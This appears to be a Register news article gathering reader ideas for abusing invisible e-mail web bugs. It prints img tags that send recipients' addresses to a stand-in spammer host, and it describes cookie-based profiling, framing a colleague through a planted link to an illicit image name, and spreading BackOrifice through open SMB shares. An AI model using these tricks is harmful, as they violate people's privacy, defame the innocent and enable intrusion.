Feeds

Fun with Internet bugs

How to get your boss sacked

  • alert
  • submit to reddit

Beginner's guide to SSL certificates

In a recent story we expressed scepticism over claims that the famous HTML bug - an invisible one-pixel image embedded in an HTML document or e-mail message referencing another image on a remote server - could be used for more than verifying e-mail addresses and garnering IPs.

We asked our readers to suggest more malicious uses, and while all agreed that this bug is rather limited (a mere spanner in the toolbox, so to speak), two produced ideas which we hadn't thought of, and which are, we have to admit, a little scary.

First, to use the bugs for e-mail verification, one might use a simple script to deliver the messages, each containing a unique ID number corresponding to an e-mail address in an existing database. The victim's e-mail client would call the 1x1 transparent GIF thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/e-mail.cgi?uniqueID#" >.

The e-mail.cgi then creates a new database of good e-mail addresses, the IPs used, etc., based on the unique ID number.

For a somewhat more direct approach, a simple query can be employed thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/verifyme?r00tarded@luser.edu" > or perhaps < img src="http://www.dirtbag-spammer.org/web-bug.gif?address=r00tarded@luser.edu" >.

Any e-mail opened would request the URL, and the e-mail addresses and IP numbers can be parsed and stored in a database.

Another use for the HTML bug is to track the distribution of documents within a company, e.g., a job-hunter distributing his resume. Everyone who opens the document will automatically connect quietly to the server where the image is stored, and server logs will show who did so.

For a very sweet dirty trick along those lines, one could embed a link to a porn picture on-line, resized at 1x1 so it's invisible in the e-mail. Network logs will show that a given employee requested, say, preteen_bestial.gif from www.loathsome-sex-offenders.com. Even better, if the company has spyware in place, the jack-booted network thugs won't even have to be notified by the trickster before grassing him out to senior management.

Honourable mention goes to Stefan for noting that cookies can be used and referenced with both e-mail addresses and with records easily purchased from consumer profiling outfits, to associate not only the e-mail with a living person and their real-life address, but also to track them on the Web.

"By placing the server that delivers the image in the same domain as, say, a banner ad network, it is possible to access the users cookies set by the ad network and thus associate a hitherto anonymous user profile with a working e-mail address. A lot of the Web bugs out there are already placed by or on behalf of well-known ad networks who hire "image space" on spam lists for this very purpose," he writes.

"Put this together with the data that can be purchased from a number of data mining outfits who specialize in deep geographical user profiling, and something as seemingly harmless as a 1x1 pixel image embedded in a mail message can be used to associate a Web sites visited by a user with a street address. In today's world of personalized e-commerce, such knowledge is worth serious money."

Nice one, that; but the coveted Register t-shirt goes to PinkFreud for this deliciously malevolent suggestion:

"Post a message on USENET with an IMG tag which points to a CGI script which returns a one-pixel image, while logging the IP as well as scanning for open, writable SMB shares, onto which one might, say, copy BackOrifice 2000 (C:\ share?). Installing it shouldn't be too hard - modify one of a few possible Windows files, and it should be installed on the next boot. Make it a bit more sophisticated, and the victim's system can e-mail you its IP address the next time it's on line."

Now that's what we call evil ingenuity. We knew our readers wouldn't let us down. ®

Grateful thanks to: Steven Hunter, Anthony Awtrey, Michael Herf, Karsten Self, Michael Ax, Colin Percival, David Lancaster, Rick McTeague, Alexis Rosen, Ray Shaw, Mark Yen, Steven Critchfield, PinkFreud, John Swindle, Martin Burns, Nathan Jones, André Mariën, Richard Parrott, Will MacDonald, Com2Kid, Matthew Duggan, Brian Baker, Russ Davies, Alan Frame, Justin Murdock, Daniel Barlow, Stefan, Mark Powell, Daniel Brandt, Jethro Brewin, Andrew Gallagher and two anonymous readers for their excellent submissions.

Related Link

Further details from the Privacy Foundation

Providing a secure and efficient Helpdesk

More from The Register

next story
Scrapping the Human Rights Act: What about privacy and freedom of expression?
Justice minister's attack to destroy ability to challenge state
WHY did Sunday Mirror stoop to slurping selfies for smut sting?
Tabloid splashes, MP resigns - but there's a BIG copyright issue here
Google hits back at 'Dear Rupert' over search dominance claims
Choc Factory sniffs: 'We're not pirate-lovers - also, you publish The Sun'
EU to accuse Ireland of giving Apple an overly peachy tax deal – report
Probe expected to say single-digit rate was unlawful
Inequality increasing? BOLLOCKS! You heard me: 'Screw the 1%'
There's morality and then there's economics ...
Hey Brit taxpayers. You just spent £4m on Central London ‘innovation playground’
Catapult me a Mojito, I feel an Digital Innovation coming on
While you queued for an iPhone 6, Apple's Cook sold shares worth $35m
Right before the stock took a 3.8% dive amid bent and broken mobe drama
EU probes Google’s Android omerta again: Talk now, or else
Spill those Android secrets, or we’ll fine you
prev story

Whitepapers

Forging a new future with identity relationship management
Learn about ForgeRock's next generation IRM platform and how it is designed to empower CEOS's and enterprises to engage with consumers.
Storage capacity and performance optimization at Mizuno USA
Mizuno USA turn to Tegile storage technology to solve both their SAN and backup issues.
The next step in data security
With recent increased privacy concerns and computers becoming more powerful, the chance of hackers being able to crack smaller-sized RSA keys increases.
Security for virtualized datacentres
Legacy security solutions are inefficient due to the architectural differences between physical and virtual environments.
A strategic approach to identity relationship management
ForgeRock commissioned Forrester to evaluate companies’ IAM practices and requirements when it comes to customer-facing scenarios versus employee-facing ones.